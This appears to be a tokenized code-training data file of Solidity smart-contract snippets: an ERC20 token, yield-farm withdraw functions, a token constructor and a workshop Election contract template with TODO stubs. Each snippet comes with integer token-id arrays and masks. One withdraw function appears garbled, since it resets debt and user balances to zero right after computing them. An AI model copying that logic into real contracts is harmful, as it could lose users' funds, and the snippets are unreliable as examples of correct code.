[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 444, 2244, 3098, 12, 1080, 745, 892, 2003, 13, 3903, 3981, 3705, 288, 203, 3639, 389, 6054, 3098, 273, 26028, 203, 3639, 389, 3239, 3098, 273, 2003, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/3/0x4b885bbAC3b6D2B489F2c7859b55eA4128888B32/sources/browser/ERC20.sol
* @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./
contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply = 100000000000; string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 8; _balances[msg.sender] = _totalSupply; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
8,128,527
[ 1, 13621, 434, 326, 288, 45, 654, 39, 3462, 97, 1560, 18, 1220, 4471, 353, 279, 1600, 669, 335, 358, 326, 4031, 2430, 854, 2522, 18, 1220, 4696, 716, 279, 14467, 12860, 711, 358, 506, 3096, 316, 279, 10379, 6835, 1450, 288, 67, 81, 474, 5496, 2457, 279, 5210, 12860, 2621, 288, 654, 39, 3462, 18385, 49, 2761, 16507, 1355, 5496, 399, 2579, 30, 2457, 279, 6864, 1045, 416, 2621, 3134, 7343, 358, 2348, 14467, 1791, 28757, 8009, 1660, 1240, 10860, 7470, 3502, 62, 881, 84, 292, 267, 9875, 14567, 30, 4186, 15226, 3560, 434, 5785, 1375, 5743, 68, 603, 5166, 18, 1220, 6885, 353, 1661, 546, 12617, 15797, 287, 471, 1552, 486, 7546, 598, 326, 26305, 434, 4232, 39, 3462, 12165, 18, 26775, 16, 392, 288, 23461, 97, 871, 353, 17826, 603, 4097, 358, 288, 13866, 1265, 5496, 1220, 5360, 12165, 358, 23243, 326, 1699, 1359, 364, 777, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 16351, 4232, 39, 3462, 353, 1772, 16, 467, 654, 39, 3462, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 1450, 5267, 364, 1758, 31, 203, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 70, 26488, 31, 203, 203, 565, 2874, 261, 2867, 516, 2874, 261, 2867, 516, 2254, 5034, 3719, 3238, 389, 5965, 6872, 31, 203, 203, 565, 2254, 5034, 3238, 389, 4963, 3088, 1283, 273, 15088, 11706, 31, 203, 203, 565, 533, 3238, 389, 529, 31, 203, 565, 533, 3238, 389, 7175, 31, 203, 565, 2254, 28, 3238, 389, 31734, 31, 203, 203, 203, 565, 3885, 261, 1080, 3778, 508, 16, 533, 3778, 3273, 13, 1071, 288, 203, 3639, 389, 529, 273, 508, 31, 203, 3639, 389, 7175, 273, 3273, 31, 203, 3639, 389, 31734, 273, 1725, 31, 203, 3639, 389, 70, 26488, 63, 3576, 18, 15330, 65, 273, 389, 4963, 3088, 1283, 31, 203, 565, 289, 203, 203, 565, 445, 508, 1435, 1071, 1476, 1135, 261, 1080, 3778, 13, 288, 203, 3639, 327, 389, 529, 31, 203, 565, 289, 203, 203, 565, 445, 3273, 1435, 1071, 1476, 1135, 261, 1080, 3778, 13, 288, 203, 3639, 327, 389, 7175, 31, 203, 565, 289, 203, 203, 565, 445, 15105, 1435, 1071, 1476, 1135, 261, 11890, 28, 13, 288, 203, 3639, 327, 389, 31734, 31, 203, 565, 289, 203, 203, 565, 445, 2078, 3088, 1283, 1435, 1071, 1476, 3849, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 327, 389, 4963, 3088, 1283, 31, 203, 565, 289, 203, 203, 2 ]
./full_match/4/0x65EF04C1bE02868F8f99A9C9e2892A94b3F36b07/sources/browser/PAPER.sol
(paperBlance + debt) * (totalLP - amount) / totalLP - paperBalance (paperBalance + debt) * user.amount / totalLP
function withdraw(uint256 _amount) public { require( paper.totalSupply() == paper.maxSupply(), "Withdrawals will be available after PAPER max supply is reached" ); require( users[msg.sender].amount >= _amount, "You don't have enough LP tokens" ); require(paperWethLP.balanceOf(address(this)) > 0, "No tokens left"); harvest(); debt = paper .balanceOf(address(this)) .add(debt) .mul(paperWethLP.balanceOf(address(this)).sub(_amount)) .div(paperWethLP.balanceOf(address(this))); if (debt > paper.balanceOf(address(this))) { debt = debt.sub(paper.balanceOf(address(this))); debt = 0; } paperWethLP.safeTransfer(address(msg.sender), _amount); if (users[msg.sender].amount > _amount) { users[msg.sender].amount = users[msg.sender].amount.sub(_amount); users[msg.sender].amount = 0; } if (paperWethLP.balanceOf(address(this)) > 0) { users[msg.sender].loss = paper .balanceOf(address(this)) .add(debt) .mul(users[msg.sender].amount) .div(paperWethLP.balanceOf(address(this))); users[msg.sender].loss = 0; } }
649,848
[ 1, 12, 27400, 4802, 1359, 397, 18202, 88, 13, 225, 261, 4963, 14461, 300, 3844, 13, 342, 2078, 14461, 300, 15181, 13937, 261, 27400, 13937, 397, 18202, 88, 13, 225, 729, 18, 8949, 342, 2078, 14461, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 598, 9446, 12, 11890, 5034, 389, 8949, 13, 1071, 288, 203, 3639, 2583, 12, 203, 5411, 15181, 18, 4963, 3088, 1283, 1435, 422, 15181, 18, 1896, 3088, 1283, 9334, 203, 5411, 315, 1190, 9446, 1031, 903, 506, 2319, 1839, 453, 2203, 654, 943, 14467, 353, 8675, 6, 203, 3639, 11272, 203, 3639, 2583, 12, 203, 5411, 3677, 63, 3576, 18, 15330, 8009, 8949, 1545, 389, 8949, 16, 203, 5411, 315, 6225, 2727, 1404, 1240, 7304, 511, 52, 2430, 6, 203, 3639, 11272, 203, 3639, 2583, 12, 27400, 59, 546, 14461, 18, 12296, 951, 12, 2867, 12, 2211, 3719, 405, 374, 16, 315, 2279, 2430, 2002, 8863, 203, 203, 3639, 17895, 26923, 5621, 203, 3639, 18202, 88, 273, 15181, 203, 3639, 263, 12296, 951, 12, 2867, 12, 2211, 3719, 203, 3639, 263, 1289, 12, 323, 23602, 13, 203, 3639, 263, 16411, 12, 27400, 59, 546, 14461, 18, 12296, 951, 12, 2867, 12, 2211, 13, 2934, 1717, 24899, 8949, 3719, 203, 3639, 263, 2892, 12, 27400, 59, 546, 14461, 18, 12296, 951, 12, 2867, 12, 2211, 3719, 1769, 203, 203, 3639, 309, 261, 323, 23602, 405, 15181, 18, 12296, 951, 12, 2867, 12, 2211, 20349, 288, 203, 5411, 18202, 88, 273, 18202, 88, 18, 1717, 12, 27400, 18, 12296, 951, 12, 2867, 12, 2211, 3719, 1769, 203, 5411, 18202, 88, 273, 374, 31, 203, 3639, 289, 203, 203, 3639, 15181, 59, 546, 14461, 18, 4626, 5912, 12, 2867, 12, 3576, 18, 15330, 3631, 389, 8949, 1769, 203, 203, 3639, 309, 261, 5577, 63, 3576, 2 ]
./partial_match/4/0xc0E30555660F73aC025dDA7ADe29eFfA03B421d5/sources/DappToken.sol
TODO: Handle fractional tokens TODO: Trigger a transfer event when deploying
function DapToken (uint256 _initialSupply) public { balanceOf[msg.sender] = _initialSupply; totalSupply = _initialSupply; }
8,574,579
[ 1, 6241, 30, 5004, 20462, 2430, 2660, 30, 11321, 279, 7412, 871, 1347, 7286, 310, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 463, 438, 1345, 261, 11890, 5034, 389, 6769, 3088, 1283, 13, 1071, 288, 203, 3639, 11013, 951, 63, 3576, 18, 15330, 65, 273, 389, 6769, 3088, 1283, 31, 203, 3639, 2078, 3088, 1283, 273, 389, 6769, 3088, 1283, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.0; /** * @title - How to use this? * @dev - deploy contract to DEXON netowkr * @dev - copy deployed address to https://dexon-workshop-vote.netlify.com/ */ /** * @title - In this Election Contract, it could take as many rounds of election. * - As a user of this contract, you are able to * - 1. Register as a candiate of the election. * - 2. Everyone can vote only ONE candidate in each round but we can fund multiple candidates as much money as we want. * - 3. Candidates will be funded when the current round is over. * * @dev - There would be only 1 active round at a time. * - Before round start, any user can use their `wallet` to register as candiate "once". * - Only the contract owner can start voting process and call a voting process to the end. * - Once a voting proces start, no more user can register as candiate. * * @notice - Search for "TODO" for what you need to implement. * * */ /** * @title - Events * @dev - Events will serve two purposes * - 1. Update Election UI via websocket * - 2. To save data that you want on the blockchain but won't be needed in the contract * * @notice - do not change the name of event, otherwise the UI will not update automatically */ contract Events { event voteStart(uint round); event elected(uint round, address candidate, string name, uint vote); event reset(uint round); event registered(uint round, address candidate); event voteCandidate(uint round, address candidate, address voter); event sponsorCandidate(uint round, address candidate, string name, address sponsor, uint amount); event refund(address candidate, string name, uint amount, uint round); } contract Election is Events { /** * @notice - This is for functions that can be used/called by the owner. */ address public owner; constructor() public { // TODO - Set up owner right after the contract get deployed. } /** * @title isVoting * @dev a mark to determine if * @notice a public variable that is used for contract and UI update */ bool public isVoting = false; function startVoting() public { /** * TODO - to make voting process start * TODO - only contract owner can call this function * TODO - emit event voteStart */ } /** * @notice - With solidity, it gives you "mapping" as one of the data store mechanism. * - it's a key-value pair * - However, you cannot iterate the keys, because it uses hash table as its storing mechanism. * - In theroy, you can use "array" to store data as you would with "mapping". * - Within smart contract, each line of running code cost money. * - In other words, the bigger of an array it gets the higher of gas a user should pay. * * @dev - In order for user not spending too much gas to interact with the contract. * - We set four state variables to achieve. */ /** * @title candidateData * @param uint - election round * @param address - candidate's wallet address * @param Candidate - candidate's election data */ mapping(uint => mapping(address => Candidate)) public candidateData; /** * @title candiatesList * @dev - This array stores candidates address of current round, and will be reset whenever an election is over. * - The reason of this approach is because we cannot iterate the keys in the mapping There would be only 1 active round at a time. * * @title round * @dev - This is the mark of current active round, and will increase by one if a new round start */ uint public round = 0; address[] public candiatesList; /** * @title Candidate * @param vote - count of votes * @param name - candidate's registed name * @param isRegistered - a quick way to check if a user has been registed with "round" and "address" * - the reason of this approach is because how "mapping" works * @param candidateNumber - a unique serial number for each candidate in each round */ struct Candidate { uint vote; string name; bool isRegistered; uint candidateNumber; } function register(string memory name) public payable { /** * TODO - to register user in current active round * TODO - emit event registered * * @notice - candidate can only registered once in each round * @notice - without emit event registered, UI will not update itself via websocket * @notice - can only be called before election process start */ } /** * @title voted * @param uint - election round * @param address - the address of the voting person * @param bool - has registered or not */ mapping(uint => mapping(address => bool)) public voted; function vote(address candidateAddr) public { /** * TODO - a user can only vote once each round * TODO - increase candidate's vote by one * TODO - emit event voteCandidate * * @notice - can only vote for an exist candidate * @notice - can only be called before election process start */ } function sponsor(address candidateAddr) public payable { /** * TODO - emit event sponsorCandidate; * * @notice - can only give to an exist candidate * @notice - can only be called before election process start */ } function resetElection() public { /** * TODO - select the winner * TODO - emit event elected * TODO - emit event refund; * * @notice - don't forget to clean up data in candiatesList */ } }
* @title voted @param uint - election round @param address - the address of the voting person @param bool - has registered or not/
mapping(uint => mapping(address => bool)) public voted;
14,071,921
[ 1, 90, 16474, 225, 2254, 300, 25526, 3643, 225, 1758, 300, 326, 1758, 434, 326, 331, 17128, 6175, 225, 1426, 300, 711, 4104, 578, 486, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2874, 12, 11890, 516, 2874, 12, 2867, 516, 1426, 3719, 1071, 331, 16474, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/44787/0x863D395471deDaf1e0947fADe7BE04F423Ba0f9f/sources/contracts/StarFarm.sol
Withdraw LP tokens from MasterChef.require (_pid != 0, 'withdraw STAR by unstaking');if (_pid == 0) require(userNFTs[_msgSender()].length == 0, "nft user");
function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_msgSender()]; uint256 _useramount = user.amount.sub(user.nftAmount); require(_useramount >= _amount, "withdraw: amount error"); updatePool(_pid); (uint256 _selfGain, uint256 _parentGain) = starNode.nodeGain(); uint256 _amountGain = _useramount.add(_useramount.mul(_selfGain).div(100)); uint256 pending = _amountGain.mul(pool.accStarPerShare).div(1e12).add(user.nftRewardDebt).sub(user.rewardDebt); if(pending > 0) { if (user.lastDeposit > block.timestamp.sub(604800)) { pending = pending.mul(90).div(100); starToken.safeTransfer(bonusAddr, pending.mul(10).div(100)); } starToken.safeTransfer(_msgSender(), pending); starNode.settleNode(_msgSender(), _useramount); } if(_amount > 0) { user.amount = user.amount.sub(_amount); uint256 _extraAmount = _amount.mul(_selfGain.add(_parentGain)).div(100); pool.extraAmount = pool.extraAmount.sub(_extraAmount); pool.lpToken.safeTransfer(_msgSender(), _amount); } user.rewardDebt = _amountGain.mul(pool.accStarPerShare).div(1e12).add(user.nftRewardDebt); emit Withdraw(_msgSender(), _pid, _amount, isNodeUser[_msgSender()]); }
13,248,796
[ 1, 1190, 9446, 511, 52, 2430, 628, 13453, 39, 580, 74, 18, 6528, 261, 67, 6610, 480, 374, 16, 296, 1918, 9446, 21807, 635, 640, 334, 6159, 8284, 430, 261, 67, 6610, 422, 374, 13, 2583, 12, 1355, 50, 4464, 87, 63, 67, 3576, 12021, 1435, 8009, 2469, 422, 374, 16, 315, 82, 1222, 729, 8863, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 598, 9446, 12, 11890, 5034, 389, 6610, 16, 2254, 5034, 389, 8949, 13, 1071, 288, 203, 3639, 8828, 966, 2502, 2845, 273, 2845, 966, 63, 67, 6610, 15533, 203, 3639, 25003, 2502, 729, 273, 16753, 63, 67, 6610, 6362, 67, 3576, 12021, 1435, 15533, 203, 3639, 2254, 5034, 389, 1355, 8949, 273, 729, 18, 8949, 18, 1717, 12, 1355, 18, 82, 1222, 6275, 1769, 203, 3639, 2583, 24899, 1355, 8949, 1545, 389, 8949, 16, 315, 1918, 9446, 30, 3844, 555, 8863, 203, 3639, 1089, 2864, 24899, 6610, 1769, 203, 203, 3639, 261, 11890, 5034, 389, 2890, 43, 530, 16, 2254, 5034, 389, 2938, 43, 530, 13, 273, 10443, 907, 18, 2159, 43, 530, 5621, 203, 3639, 2254, 5034, 389, 8949, 43, 530, 273, 389, 1355, 8949, 18, 1289, 24899, 1355, 8949, 18, 16411, 24899, 2890, 43, 530, 2934, 2892, 12, 6625, 10019, 203, 3639, 2254, 5034, 4634, 273, 389, 8949, 43, 530, 18, 16411, 12, 6011, 18, 8981, 18379, 2173, 9535, 2934, 2892, 12, 21, 73, 2138, 2934, 1289, 12, 1355, 18, 82, 1222, 17631, 1060, 758, 23602, 2934, 1717, 12, 1355, 18, 266, 2913, 758, 23602, 1769, 203, 203, 3639, 309, 12, 9561, 405, 374, 13, 288, 203, 5411, 309, 261, 1355, 18, 2722, 758, 1724, 405, 1203, 18, 5508, 18, 1717, 12, 26, 3028, 17374, 3719, 288, 203, 7734, 4634, 273, 4634, 18, 16411, 12, 9349, 2934, 2892, 12, 6625, 1769, 203, 7734, 10443, 1345, 18, 4626, 5912, 12, 18688, 407, 3178, 16, 4634, 18, 16411, 12, 2163, 2934, 2892, 2 ]
